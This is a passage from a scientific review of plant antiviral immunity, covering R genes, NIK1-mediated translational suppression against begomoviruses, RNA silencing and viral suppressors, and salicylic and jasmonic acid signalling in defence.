The tobacco N gene was the first-identified R gene, which confers resistance against the Tobacco mosaic virus (TMV) ( Whitham et al. , 1994 ). Since then, many R genes involved in antiviral resistance in plants have been identified ( Gururani et al. , 2012 ; Mandadi and Scholtor, 2013 ), such as Sw-5 for Tomato spotted wilt virus (TSWV) in tomato ( Brommonschenkel et al. , 2000 ), Rx1 and Rx2 for Potato virus X (PVX) in potato ( Bendahmane et al. , 1999 , 2000 ), RTM1 and RTM2 for Tobacco etch virus (TEV), RCY1 for Cucumber mosaic virus (CMV) in arabidopsis ( Chisholm et al. , 2000 ; Whitham et al. , 2000 ; Takahashi et al. , 2001 ) and the I locus for Bean common mosaic virus ( Vallejo et al. , 2006 ). A majority of the known R proteins belong either to the coiled-coil (CC)-NB-LRR or Toll/interleukin-1 receptor (TIR)-NBS-LRR class ( Zhu et al. , 2013 ; for a further review, see Gururani et al. , 2012 ).

The Rx gene from potato, which encodes an NBS-LRR-type protein with a CC domain at the N-terminus (CC-NBS-LRR), may be the best-characterized resistance gene in plant–virus interactions ( Bendahmane et al. , 1999 ). The Rx N-terminal CC domain interacts intramolecularly with the Rx NB-LRR region and intermolecularly with the Rx cofactor RanGAP2 (Ran GTPase-activating protein 2) ( Rairdan et al. , 2008 ; Tameling et al. , 2010 ). The C-terminus of the LRR domain is also thought to be involved in the specific recognition of the viral effector, which is functionally represented by the coat protein (CP), although a direct interaction between the CP and Rx has not been demonstrated ( Bendahmane et al. , 1995 ; Candresse et al. , 2010 ; Dangl and Jones, 2001 ; Farnham and Baulcombe, 2006 ). The current mechanistic model for Rx function predicts that Rx is activated upon recognition of the Ran GTPase-mediated interaction with the CP.

Tobacco N protein represents a well-characterized example of the TIR-NBS-LRR class of R proteins in plant–virus interactions. The N resistance protein directly interacts with the helicase domain of the TMV replicase to trigger resistance ( Ueda et al. , 2006 ). Full resistance to TMV, however, depends on the N receptor-interacting protein 1 (NRIP1), which is recruited from the cytoplasm to the cytosol and nucleus to interact directly with both the N resistance protein and TMV replicase ( Caplan et al. , 2008 ). In both Rx-mediated resistance and N-mediated resistance, the R protein is activated in the cytoplasm, but full functionality of the Rx and N resistance proteins depends on their nucleocytoplasmic distribution. The R signalling cascade in plant–virus interactions consists of rapid activation of mitogen-activated protein kinases (MAPKs) and the involvement of molecular chaperone complexes controlling R protein stabilization and destabilization ( Kadota and Shirasu, 2012 ; Hoser et al. , 2013 ).

Generally, in plant–pathogen interactions, the immune responses downstream of R protein activation are associated with reactive oxygen species (ROS) production, calcium ion influx, MAPK activation, salicylic acid (SA) accumulation and massive transcriptional reprogramming, including the induction of genes associated with defence responses. Frequently, as in the case of N-mediated resistance, R protein activation also leads to the induction of a hypersensitive response (HR), which is often associated with programmed cell death of the infected and adjacent cells, confining the pathogen to the local site of infection. Concomitantly with the induction of the local defence response, R protein activation also activates defence signalling at distal tissues of infection, referred to as systemic acquired resistance (SAR), a defence mechanism shared by both Rx-mediated resistance and N-mediated resistance and induced by SA accumulation. More detailed information on SA signalling in defence is discussed in the hormone-mediated defence section.

Well-characterized exceptions to the NBS-LRR configuration of R proteins include the non-NBS-LRR-encoding RTM genes, which confer dominant resistance to TEV, Lettuce mosaic potyvirus (LMV) and Plum pox potyvirus (PPV) ( Cosson et al. , 2012 ), and the tomato Tm-1 gene, which encodes a protein with a TIM-barrel-like structure and confers dominant resistance to TMV. The Tm-1 -encoded product interacts directly with the viral replicase, impairing viral genome replication ( Ishibashi and Ishikawa, 2013 ).

Recessive resistance

In addition to dominant R genes, recessive R genes have also been reported, and most of them confer resistance against viruses ( Kang et al. , 2005 ). A compatible virus–host interaction leading to systemic infection requires replication of the virus genome in addition to cell to cell and long-distance movement through the plant vascular system. Disruption of any of these processes results in incompatible interactions, which is often mediated by host resistance factors. The recessive gene-encoded products are involved in compatibility functions; they are not immune receptors and are not associated with the ETI but rather act as essential factors required for the virus to complete its biological cycle. Therefore, many plant natural resistance genes have been mapped to mutations of essential host factors for virus infection. Examples of recessive resistance genes include eukaryotic translation initiation factors, such as eIF4E and eIF4G, which play an essential role in successful infection by potyviruses, bymoviruses, cucumoviruses, ipomoviruses, sobemoviruses, carmoviruses and waikiviruses, and thereby resistance is conferred by eIF4E and eIF4G loss-of-function mutations or modification of their gene products ( Revers and Nicaise, 2014 ).

Antiviral immune receptors in PAMP-triggered immunity

The first layer of innate immunity is immediately activated upon host detection of highly conserved structural motifs exclusively expressed by pathogens, known as PAMPs, or endogenous danger signals released by the host during a wound or pathogenic attack known as damage-associated molecular patterns (DAMPs), which function as elicitors ( Macho and Zipfel, 2014 ). The recognition of different PAMPs or DAMPs by specific cell surface sensors, designated PRRs, activates a sophisticated defence signalling cascade which inhibits a broad spectrum of potential pathogens, including bacteria, viruses, fungi and oomycetes. In plants, the PRRs are represented by receptor-like kinases (RLKs) and receptor-like proteins (RLPs) located at the cell surface. Both RLKs and RLPs often require a co-receptor to form an active complex to initiate signalling. The best-characterized co-receptor in PTI is the BRASSINOSTEROID INSENSITIVE1 (BRI1)-associated kinase 1, BAK1, which forms active signalling complexes with both RLKs and RLPs after PAMP detection by PRRs ( Liebrand et al. , 2014 ; Postma et al. , 2016 ). BAK1 belongs to the LRR-RLK family and has an N-terminal extracellular LRR domain, which is structurally similar to mammalian Toll-like receptor (TLR) immune sensors, a transmembrane segment and an intracellular kinase domain. BAK1 heterodimerizes with several LRR-RLK immune sensors, including FLS2 (flagellin receptor), EFR (bacterial elongation factor-Tu receptor) and PEPR1 (damage-associated peptide 1 receptor), and is functionally required in immunity and signalling triggered by multiple bacterial PAMPs. The BAK1 positive regulation in plant immunity involves phosphorylation reactions between the BAK1 co-receptor and the corresponding PRR.

In the case of viral pathogens, the innate immune system has been primarily described in mammalian cells, which often detects specific biochemical features that are exclusive to the viral nucleic acid genome. Viral genomes exist as single- or double-stranded RNA or DNA and can be monopartite or partitioned into two or more segments. In mammalian cells, the TLRs comprise a large family of nucleic acid-sensing PRRs, which have relevant roles in antiviral defence. TLRs are similar to LRR-RLKs; they are single, membrane-spanning receptors with an LRR extracellular domain. Different members of the TLR family recognize different biochemical features present in viral, but not in host, nucleic acids, such as single-stranded RNA without a 5′ cap, double-stranded RNA (dsRNA) or unmethylated DNA. Specific recognition also relies on the opportunistic subcellular localization of TLRs and the viral genome in host cells. Although specific PRRs for viral recognition have not yet been found in plants, accumulated data indicate that plant PTI signalling inhibits viral infection similarly to non-viral pathogens. In fact, plant–virus interactions induce a complex set of typical PTI responses, including ROS production, ion fluxes, SA accumulation, defence gene activation, such as PR-1, and callose deposition (for a review, see Nicaise, 2014 ). In addition, upstream and downstream components of the PTI signalling pathway have been shown to play a role in antiviral defence. The functions of the PTI co-receptors BAK1 and BKK1 (BAK1-like kinase 1) are required to build an effective defence against RNA viruses in arabidopsis ( Yang et al. , 2010 ; Kørner et al. , 2013 ), and MAPK4, a negative regulator of plant PTI signalling, suppresses soybean defence against Bean pod mottle virus (BPMV; Liu et al. , 2011 ). Furthermore, the pre-activation of PTI by the elicitor chitosan, through interaction with chitin-binding PRRs, has also been shown to be effective against viruses ( Iriti and Varoni, 2014 ). Finally, according to the zigzag evolutionary model of plant innate immunity ( Jones and Dangl, 2006 ), the involvement and activation of ETI in plant–virus interactions is conceptually associated with successful PTI inhibition by a viral effector, further substantiating the argument that an antiviral PTI mechanism operates in plants as well ( Fig. 1 ). Given the mode of virus delivery into plant cells and the obligatory conservative nature of PAMPs, which is not a property of rapidly evolving plant virus proteins, the molecular nature of the virus signatures recognized by plant PTI is very probably similar to those presented by mammalian viruses during infection. Therefore, the discovery of plant antiviral PRRs is expected to accelerate the characterization of nucleic acid-sensing PRRs and/or DAMP-sensing PRRs in plants.

Immune receptor-mediated suppression of translation: a new paradigm for antiviral defences in plants

Nik1 as an antiviral immune receptor..

The immune receptor NIK1 [nuclear shuttle protein (NSP)-interacting kinase 1], a RLK family member, has a remarkable role in the defence response against geminiviruses ( Fontes et al. , 2004 ). Although NIK1 shows structural similarities to BAK1, the mechanism for NIK-mediated antiviral defence is completely different from classical BAK1-mediated PTI ( Machado et al. , 2015 ).

NIKs (NIK1, NIK2 and NIK3) were first identified as targets of the NSP from Begomovirus , the largest genus of the Geminiviridae family ( Fontes et. al. , 2004 ). The NSP–NIK interaction is conserved among begomovirus NSPs and NIK homologues from different hosts ( Mariano et al. , 2004 ). NIK homologues from arabidopsis, tomato and soybean interact with NSPs from Cabbage leaf curl virus (CaLCuV) and from tomato-infecting begomoviruses, such as Tomato golden mosaic virus (TGMV), Tomato crinkle leaf yellow virus (TCrLYV) and Tomato yellow spot virus (ToYSV) ( Fontes et al. , 2004 ; Mariano et al. , 2004 ; Sakamoto et al. , 2012 ). These interactions suppress the NIK kinase activity and prevent the activation of the antiviral signal transduction pathway, creating a suitable environment for begomovirus infection ( Santos et al. , 2009 , 2010 ). Consistent with a role for NIK in antiviral defence, loss-of-function nik1 , nik2 and nik3 mutants showed enhanced susceptibility to CaLCuV infection ( Fontes et al. , 2004 ; Rocha et al. , 2008 ; Santos et al. , 2009 ). In addition, overexpression of NIK1 delays viral infection and attenuates symptom development in tomato ( Carvalho et al. , 2008 ). Finally, mutations in the activation loop (A-loop) of NIK1 that prevent its autophosphorylation also compromise the capacity of NIK1 to elicit a response against begomoviruses ( Santos et al. , 2009 ).

Mechanisms of NIK1 activation.

As a single-pass transmembrane receptor kinase, NIK is expected to dimerize or multimerize with itself and/or co-receptors to promote transphosphorylation and subsequent activation of the kinase. However, there is a complete lack of information on the critical early event that triggers NIK1 signalling and transduction, which culminates with suppression of host global translation as an antiviral response. Recently, a comparison between the transcriptomes induced by begomovirus infection and expression of a constitutively activated NIK1 receptor revealed that begomovirus infection is the activating stimulus of NIK1-mediated defence, although the molecular basis for this elicitation is still unknown. By comparison with the mechanism of mammalian antiviral immune receptor activation, one can predict that unique biochemical features of the begomovirus genome function as possible ligands that trigger or stabilize NIK dimerization or multimerization with a co-receptor. Begomoviruses are single-stranded DNA viruses, which replicate via double-stranded DNA intermediates in the nuclei of infected cells. The divergent transcription units of the viral genome result in single-stranded transcripts and double-stranded overlapping RNAs as possible sources for specific nucleic acid ligands. In mammals, the cytoplasmic receptor PKR (protein kinase receptor), which is activated by dsRNA molecules of > 40 bp, mediates global translation suppression by phosphorylating eIF2α on Ser51 as an antiviral response ( Jackson et al. , 2010 ). Alternatively or additionally, NIK1 activation may depend on host molecular signatures (DAMPs) released in the apoplast in response to viral infection.

Activation of many kinases requires phosphorylation of the activation segment (A-loop) that is defined by the region delimited by two conserved tripeptide motifs, DFG and APE ( Nolen et al. , 2004 ). This region is highly conserved among members of the LRR-RLK II subfamily and other members of the extended LRR-RLK family. The phosphorylation status of the activation segment has been shown to dictate NIK1 kinase activity ( Carvalho et al. , 2008 ; Fontes et al. , 2004 ; Santos et al. , 2009 ). NIK1 is phosphorylated in vitro at the conserved positions Thr474 and Thr469, and mutations in the A-loop compromise its autophosphorylation capacity ( Santos et al. , 2009 ). Replacement of Thr474 with alanine strongly inhibits the autophosphorylation activity and the capacity of NIK1 to elicit a defence response, whereas replacement of Thr474 with a phosphomimetic aspartate residue increases autophosphorylation activity and results in constitutive activation of a NIK1 mutant receptor that it is no longer inhibited by begomovirus NSP ( Santos et al. , 2009 ). These results indicate that phosphorylation at the essential Thr474 residue in the A-loop constitutes a key regulatory mechanism for NIK activation.

Although replacement of the essential Thr474 residue with the aspartate residue bypasses the NSP inhibitory effect on kinase activity, it does not impair NSP binding to an 80 amino acid stretch (positions 422–502) of NIK that encompasses the putative active site for Ser/Thr kinases (sub-domain VIb–HrDvKssNxLLD) and the activation loop (sub-domain VII–DFGAk/rx, plus sub-domain VIII–GtxGyiaPEY; Fontes et al. , 2004 ). These results suggest that the NSP inhibitor acts upstream of the phosphorylation at position 474.

While phosphorylation at Thr474 is linked to an activation loop-dependent mechanism for NIK function, phosphorylation of Thr469 appears to have an autoinhibitory role ( Santos et al. , 2009 ). Replacing Thr469 with alanine relieves repression and enhances substrate phosphorylation. Furthermore, mutation at Thr469 does not inhibit autophosphorylation activity or impair the capacity of the mutant protein to elicit a defence response and to redirect the downstream component RPL10 to the nucleus. It has been proposed that autophosphorylation of Thr469 within the NIK1 A-loop allows the kinase to control the sustained signalling more efficiently. Whether this inhibitory mechanism allows NIK1 to phosphorylate pathway components differentially remains to be determined.

Downstream components of the NIK-mediated antiviral response.

A ribosomal protein, RPL10, identified as a binding partner for NIKs, acts as a downstream effector of the NIK-mediated antiviral response. Arabidopsis rpl10 mutants showed enhanced susceptibility to geminivirus infection, recapitulating the nik1 phenotype ( Rocha et al. , 2008 ). Ectopic expression of NIK1 or a hyperactive NIK1 mutant led to relocation of phosphorylated RPL10A from the cytosol to the nuclei ( Carvalho et al. , 2008 ). In addition, an inactive NIK1 mutant failed to redirect the protein to the nuclei of co-transfected cells, while a mutant RPL10A defective for NIK1 phosphorylation is not redirected to the nucleus and does not mount a defence response against begomoviruses. These data suggest that the nucleocytoplasmic shuttling of RPL10 is regulated by phosphorylation and is dependent on the kinase activity of NIK1, classifying RPL10 as a downstream effector of NIK1-mediated signalling.

Although RPL10 binds to NIK1 in vitro and in vivo , it is not efficiently phosphorylated by NIK1 in vitro and may not serve as a direct NIK1 substrate in vivo . Nevertheless, the nucleocytoplasmic shuttling of RPL10 is regulated by phosphorylation and is dependent on the kinase activity of NIK1. In fact, NIK1 does not relocate a phosphorylation-deficient mutant of RPL10 to the nucleus ( Carvalho et al. , 2008 ). Furthermore, the gain-of-function T474D mutant is more effective at redirecting RPL10 to the nucleus, and inactive mutants of NIK1 fail to alter the cytosolic localization of RPL10 ( Santos et al. , 2009 ). Mutations in the A-loop similarly affect the capacity of NIK1 to elicit an antiviral response and to mediate the phosphorylation-dependent nuclear relocalization of RPL10.

In order to gain new insights into the molecular mechanisms of NIK1 in antiviral immunity, arabidopsis transgenic lines harbouring the gain-of-function mutant T474D on a nik1 knockout background were analysed for gene expression ( Zorzatto et al. , 2015 ). The constitutive activation of NIK-mediated signalling resulted in the down-regulation of translation-related genes and the suppression of global translation, decreasing the loading of host mRNAs in actively translating polysomes ( Zorzatto et al. , 2015 ). In begomovirus-infected lines, the association of viral mRNA with actively translating polysomes was lower in T474D lines than in the wild type, indicating that the begomovirus is not capable of sustaining high levels of viral mRNA translation when global host translation is impaired. Accordingly, the transgenic lines ectopically expressing T474D displayed enhanced resistance to begomovirus, demonstrating that suppression of global protein synthesis may effectively protect plant cells against DNA viruses.

Further analyses detected LIMYB, an RPL10-interacting MYB domain-containing transcriptional factor, as another downstream component of the NIK1-mediated antiviral pathway ( Zorzatto et al. , 2015 ). LIMYB binds to and acts in concert with RPL10 to repress fully the expression of ribosomal gene expression. LIMYB overexpression represses ribosomal protein (RP) genes at the transcriptional level, resulting in protein synthesis inhibition, decreased viral mRNA association with polysome fractions and enhanced tolerance to the begomovirus CaLCuV. In contrast, loss of LIMYB function releases repression of RP genes and recapitulates the enhanced susceptibility phenotype of the nik1 null alleles. T474D also downregulates the expression of the same sub-set of LIMYB-regulated RP genes but requires LIMYB to repress RP gene expression. Therefore, LIMYB is a downstream transcriptional repressor in the NIK1-mediated pathway, which links NIK1 activation to the downregulation of translational machinery-related genes, thereby suppressing global host translation as an antiviral immunity strategy in plants.

NIK1-mediated translation suppression may act as a conserved antiviral mechanism in begomovirus–host interactions. Tomato T474D transgenic lines were tolerant to the tomato-infecting begomoviruses ToYSV and ToSRV ( Tomato severe rugose virus ), which display highly divergent genomic sequences and hence are only distantly related within the group of tomato-infecting begomoviruses ( Brustolini et al. , 2015 ). As in arabidopsis-infected T474D lines, overexpression of T474D in tomato represses RP genes, suppresses global protein synthesis and decreases viral mRNA association with the polysome fractions ( Brustolini et al. , 2015 ). Therefore, the enhanced tolerance to tomato-infecting begomovirus displayed by the T474D-expressing lines is associated with the translational control branch of the NIK-mediated antiviral responses. These observations underscore the potential of a sustained NIK-mediated defence pathway to confer broad-spectrum tolerance to begomoviruses in distinct plant species. However, whether NIK-mediated suppression of global translation functions against plant RNA viruses it is still a matter of debate.

Mechanistic model for the NIK1-mediated antiviral signalling pathway.

Since the discovery of NIKs, several features of the NIK1-mediated antiviral signalling and its interaction with the begomovirus NSP have been elucidated ( Fig. 1 ). We now know that the transmembrane receptor NIK1, a serine/threonine kinase transducer, is activated by viral infection to trigger a defence response against the virus itself, although the molecular basis for this elicitation remains unknown. Based on common features of the LRR-RLKII family, we propose that the extracellular domain of NIK undergoes oligomerization with itself or with an unidentified ligand-dependent LRR-RLK receptor following viral infection. The ligand may be DAMPs delivered into the apoplast by the secretory apparatus upon detection of viral infection. Alternatively, NIK1 may recognize virus-derived nucleic acids as PAMPs that promote oligomerization of the antiviral immune receptor. Regulation of NIK kinase activity depends on a conformational change of the A-loop induced by phosphorylation of Thr474. Activated NIK regulates the nucleocytoplasmic trafficking of RPL10, which in turn interacts with the transcriptional repressor LIMYB to downregulate RP genes, leading to suppression of host and viral mRNA translation, thereby linking the antiviral response to receptor activation.

Nuclear shuttle protein prevents activation of the pathway by binding to the NIK kinase domain and sterically interfering with phosphorylation of Thr474 in the A-loop. As a consequence, phosphorylation of RPL10 is impaired, and the RP is trapped in the cytoplasm during begomovirus infection. NSP inhibition of NIK1 prevents activation of the NIK-mediated signalling pathway, resulting in an intracellular environment that is more favourable for viral proliferation and spread. The viral single-stranded DNA replicates via double-stranded DNA intermediates that are transcribed in the nucleus of plant-infected cells ( Hanley-Bowdoin et al. , 2013 ). NSP binds to the nascent viral DNA and facilitates its movement to the cytoplasm, acting in concert with the classical movement protein MP to transport the viral DNA to the adjacent, uninfected cells.

RNA SILENCING MACHINERY: AN ADAPTIVE ANTIVIRAL IMMUNITY MECHANISM

The RNA silencing pathway or RNA interference (RNAi) is a well-established natural antiviral defence mechanism in plants, in which the viruses are both inducers and targets of RNA silencing ( Wang et al. , 2010 ; Szittya et al. , 2013 ). To inhibit RNA silencing, well-adapted plant viruses are known to encode silencing-suppressor proteins, which can counteract the host silencing-based antiviral process ( Wieczorek and Obrepalska-Steplowska, 2015 ). In this review, we summarize the conceptual advances in the antiviral RNAi mechanism and the evolving virulence strategies to overcome this adaptive plant defence ( Fig. 2 ). For more detailed information, a collection of excellent, updated reviews describing antiviral RNA silencing mechanisms and suppressors is available ( Carbonell and Carrington, 2015 ; Csorba et al , 2015 ; Zhang et al. , 2015 ).

Adaptive antiviral immunity in plants: general model of antiviral RNA silencing and its suppression by viral suppressors of RNA silencing (VSRs). The Silencing response is triggered by viral dsRNA molecules (vsRNA, ds-siRNA, 21, 22 rr 24 nt) from different sources, which are produced by Dicer-like proteins (DCLs). These vsRNAs are subsequently loaded into Argonaute (AGO)-containing silencing complexes. In post-transcriptional gene silencing (PTGS), viral RNA is targeted by the RNA-induced silencing complex (RISC) for degradation or translational repression, while the RNA-induced transcriptional silencing complex (RITS) causes histone and/or DNA methylation, leading to transcriptional gene silencing (TGS). The effector phase can also result in the amplification of silencing response through the action of RNA-dependent RNA polymerase (RDR) proteins, which produce more dsRNA substrates for DCL processing. VSRs can target multiple steps of the RNA silencing pathway, defeating host antiviral mechanisms by interfering in dicing, vsRNA loading, AGO activation and amplification.

The diversity in RNAi mechanisms relies mainly on the existence of multiple copies of AGO (Argonaute), RNA-dependent RNA polymerase (RDR), DRB (double-stranded RNA binding) and DCL (Dicer-like) genes, which probably result from gene duplication followed by specialization ( Parent et al. , 2015 ; Zhang et al. , 2015 ). DCL2 and DCL4 have a crucial role in antiviral defence ( Deleris et al. 2006 ; Qu et al. , 2008 ; Garcia-Ruiz et al. , 2010 ). Arabidopsis plants containing loss-of-function mutations within the Dicer-like 2 (DCL2), Argonaute 2 (AGO2) and HEN1 RNA methyltransferase were more susceptible to Turnip crinkle virus (TCV) infection ( Zhang et al. , 2012 ). Arabidopsis dlc4 mutants inoculated with TCV lacking P38 (silencing suppressor) exhibited large primary lesions, but viral systemic movement was compromised. However, viral infection was fully established in dcl2–dcl4 double mutants ( Deleris et al. , 2006 ). Recently, Andika et al. (2015) demonstrated the differential requirement for the DCL4 and DCL2 proteins in the inhibition of intracellular and systemic infection, respectively, by PVX in arabidopsis, which highlights the host’s ability to fight against both local and systemic viral infection.

Although DCL3 has a minor role against RNA viruses, it is crucial against DNA viruses ( Qu et al. , 2008 ; Csorba et al. , 2015 ). Arabidopsis dcl3 mutants are unable to recover from geminivirus infection, while remission was observed in wild-type, dcl2 and dcl4 plants ( Raja et al. , 2014 ). Plants employ RNA-directed DNA methylation (RdDM) as an epigenetic defence against geminiviruses ( Raja et al. , 2008 , 2014 ; Ruiz-Ferrer and Voinnet, 2009 ; Hanley-Bowdoin et al. , 2013 ). Arabidopsis methylation-deficient mutants are hypersusceptible to geminivirus infection. Additionally, cytosine methylation levels are significantly reduced in viral DNA isolated from methylation-deficient mutants ( Raja et al. , 2008 ). DCLs interact with DRBs to produce small RNAs. The DRB3 protein functions with Dicer-like 3 (DCL3) and Argonaute 4 (AGO4) in methylation-mediated antiviral defence ( Raja et al. , 2014 ). In turn, some DNA viruses can suppress silencing by interfering with the methyl cycle. A silencing suppressor from begomovirus, AC2, inhibits host adenosine kinase (ADK) activity, which is required for RNA silencing ( Wang et al. , 2003 , 2005 ). The AL2-mediated silencing suppression was followed by reduced cytosine methylation ( Buchmann et al. , 2009 ). The betasatellite-encoded protein, βC1, from Tomato yellow leaf curls China virus (TYLCCNV) also targets the methyl cycle through inhibition of S -adenosylhomocysteine hydrolase (SAHH) activity ( Yang et al. , 2011 ). Geminiviruses also employ an alternative mechanism to interfere with the host DNA methylation machinery during the infection by reducing the transcript levels of Methyltransferase 1 (MET1) and Chromomethylase 3 (CMT3), key enzymes of the plant methylation cycle ( Rodriguez-Negrete et al. , 2013 ). The replicase-associated protein (Rep) is responsible for the repression of MET1 and CMT3, and another viral protein, C4, has an auxiliary role in MET1 down-regulation ( Rodriguez-Negrete et al. , 2013 ).

The AGO proteins are essential in antiviral defence against both RNA and DNA viruses. AGO1, AGO2, AGO4, AGO5, AGO7 and AGO10 have been shown to display antiviral activity in arabidopsis, while AGO1 and AGO18 play antiviral defence roles in rice (reviewed in Carbonell and Carrington, 2015 ). RDR activities contribute to the amplification of antiviral activity. RDR1 and RDR6 play an essential role in the amplification of virus-derived small interfering RNAs (siRNAs; Wang et al. , 2010 ). The biogenesis of Tobacco rattle virus (TRV)-derived siRNAs involves the combined activity of RDR1, RDR2 and RDR6 ( Donaire et al. , 2008 ). DCL4 and RDR1 are major contributors to biogenesis of Turnip mosaic virus (TuMV)-derived siRNAs, although a full antiviral defence also requires DCL2 and RDR6 ( Gacia-Ruiz et al. , 2010 ). OsRDR6 knockdown transgenic rice show hypersusceptibility to Rice stripe virus (RSV). These phenotypes are associated with increased accumulation of RSV genomic RNA and reduced RSV-derived siRNA accumulation compared with the wild-type plants ( Jiang et al. , 2012 ). Hong et al. (2015) also reported an increase in susceptibility to Rice dwarf phytoreovirus (RDV) in OsRDR6 downregulated rice followed by a reduction in the RDV vsiRNA levels. However, overexpression of OsRDR6 had no effect on RDV infection.

Many viral suppressor proteins can target multiple steps of the RNA silencing pathway to defeat host antiviral mechanisms. One strategy used by viral suppressors is impairment of viral siRNA biogenesis by inhibiting DCL proteins and/or the activity of cofactors, sequestering dsRNA/siRNA or promoting AGO protein destabilization prior to RISC assembly (reviewed in Csorba et al. , 2015 ). The p22 suppressor of Tomato chlorosis virus (ToCV) binds long dsRNAs in vitro , preventing them from being cleaved by an RNase III-type Dicer homologue, which might block the silencing process by interfering with the generation of siRNAs ( Landeo-Rios et al. , 2015 ). The silencing suppressor of Lettuce necrotic yellows virus (LNYV), phosphoprotein P, targets multiple proteins involved in the RNA silencing pathway, including those involved in the RISC complex and dsRNA amplification. LNYV P impairs RNA silencing through inhibition of micro RNA (miRNA)-guided AGO1 cleavage and translational repression and also compromises RDR6/SGS3-dependent amplification of silencing ( Mann et al. , 2016 ). One of the best-characterized suppressors of antiviral RNA silencing is the potyviral helper component proteinase (HCPro), which plays multiple roles in the suppression of vsiRNA biogenesis, such as ds–siRNA binding, HEN1 binding, blocking HEN1 methyltransferase activity, blocking primary siRNA biogenesis by RAV2 interaction and downregulating RDR6 ( Zhang et al. , 2015 ). A recent study suggested two mechanisms by which HCPro exerts its RNA silencing suppressor functions ( Ivanov et al. , 2016 ). HCPro may block siRNA methylation of HEN1 via inhibition of S -adenosyl- l -methionine synthase (SAMS) and SAHH, two key enzymes of the methionine cycle. HCPro may also attenuate viral RNA translational repression through association with AGO1 and ribosomes.

Over the past decades, significant advances have been made in the current understanding of the role of RNA silencing in plant antiviral immunity responses. Concomitantly, diverse mechanisms employed by viruses to avoid silencing-mediated resistance have been unravelled, most of them through silencing suppressor activities. Additionally, there are reports that plants have evolved specific defences against RNA silencing suppression. Collectively, these findings provide new insight into the molecular mechanisms mediating plant–virus interactions, and they concomitantly highlight a complex and lasting arms race between pathogens and their hosts.

HORMONE-MEDIATED ANTIVIRAL DEFENCES

Plant hormones play important roles in intercellular and systemic signalling systems, regulating developmental processes and plant responses to a wide range of biotic and abiotic stresses ( Bari and Jones, 2009 ). In susceptible hosts, plant viruses often manipulate biochemical events and molecular interactions required for their replication and movement, leading to misregulation and disruption of hormone signalling ( Alazem and Lin, 2015 ).

Salicylic acid is a key component of the plant response to pathogens and is involved in the establishment of local and systemic resistance ( Vlot et al. , 2009 ; Pieterse et al. , 2012 ). The role of SA in viral defence was initially reported in the interaction between the TMV and the tobacco N resistance gene ( Gaffney et al. , 1993 ; Jovel et al. , 2011 ). Tobacco transgenic lines deficient in SA accumulation were defective in their ability to induce SAR against TMV and inefficiently restricted virus movement ( Gaffney et al. , 1993 ). The SA pathway is typically activated by both DNA and RNA viruses ( Whitham et al. , 2006 ; Ascencio-Ibanez et al. , 2008 ). Arabidopsis cpr1 (constitutive expresser of PR genes) mutants, in which SA-mediated SAR is constitutively activated, were less susceptible to CaLCuV infection ( Bowling et al. , 1994 ). Additionally, the arabidopsis mutant lsb1 (less susceptible to BSCTV 1) showed impairment in Beet severe curly top virus (BSCTV) DNA replication and reduced infectivity ( Chen et al. , 2010 ). Previous studies showed that upregulation of LSB1/GDU3 affects geminivirus infection by activating the SA pathway ( Chen et al. , 2010 ).

The SA defence response is also triggered by Potato virus Y (PVY) and Tomato ringspot virus (ToRSV) ( Jovel et al. , 2011 ; Baebler et al. , 2014 ). The lack of SA accumulation in the NahG potato plants (transgenic lines deficient in SA accumulation) causes unrestricted viral spreading and consequent disease symptoms ( Baebler et al , 2014 ). Transcriptomic analysis confirmed the central role of SA in inducing the Ny-1 -mediated responses and showed that the absence of SA leads to significant changes at the gene expression level, including a delay in activation of defence genes. In a similar manner, SA-dependent mechanisms were implicated in the restriction of ToRSV spread in tobacco. Lesion size and viral systemic spread were reduced with SA pre-treatment but enhanced in NahG transgenic lines deficient in SA accumulation, ( Jovel et al. , 2011 ). The eds5 ( enhanced disease susceptibility 5 ) mutation and the NahG transgene partially defeated the resistance of Col-24-C to Cucumber mosaic virus strain-Y (CM-Y) ( Takahashi et al. , 2004 ).

Plum pox virus (PPV) replication is restricted to inoculated leaves in tobacco plants, but the virus is able to infect P1/HC-Pro-expressing plants systemically ( Alamillo et al. , 2006 ). Interestingly, PPV was also able to move systemically in NahG-expressing tobacco plants. Further analysis revealed reduced accumulation of viral-derived small RNAs in the NahG transgenic plants and enhanced expression of SA-mediated defence transcripts, such as those of pathogenesis-related (PR) proteins PR-1 and PR-2, alternative oxidase-1 and the putative RNA-dependent RNA polymerase NtRDR1, in response to PPV infection, suggesting that SA might act as an enhancer of RNA silencing in tobacco. SA treatments also induced resistance against TMV and activated the RNA silencing-related genes DCL1 , DCL2 , RDR1 and RDR2 in tomato plants ( Campos et al. , 2014 ).

The role of jasmonic acid (JA) signalling in virus defence is controversial. Genes involved in the JA pathway are generally suppressed during geminivirus infection ( Ascencio-Ibanez et al. , 2008 ). The viral pathogenesis factor βC1 from TYLCCNV attenuates expression of several JA-responsive genes ( Yang et al. , 2008 ). In contrast, multiple genes related to JA signalling were upregulated in transgenic tobacco plants expressing the viral silencing suppressor AC2 derived from African cassava mosaic virus ( Soitamo et al. , 2012 ). The AC2 protein also interacts with CSN5a, a COP9 signalosome component, interfering with the derubylation activity of the CSN complex and disturbing several cellular processes, including jasmonate responses ( Lozano-Duran et al. , 2011 ). Exogenous jasmonate treatment of A. thaliana plants disrupts geminivirus infection, suggesting that the suppression of the jasmonate response might be crucial for infection ( Lozano-Duran et al. , 2011 ). In contrast, exogenously applied methyl jasmonate (MeJA) reduced local resistance to TMV and permitted systemic viral movement in Nicotiana tabacum (tobacco) cultivars while the silencing of CORONATINE-INSENSITIVE 1 (COI1), a JA receptor, reduced viral accumulation in a tobacco cultivar possessing the N gene, as did that of allene oxide synthase, a JA biosynthetic enzyme ( Oka et al. , 2013 ).

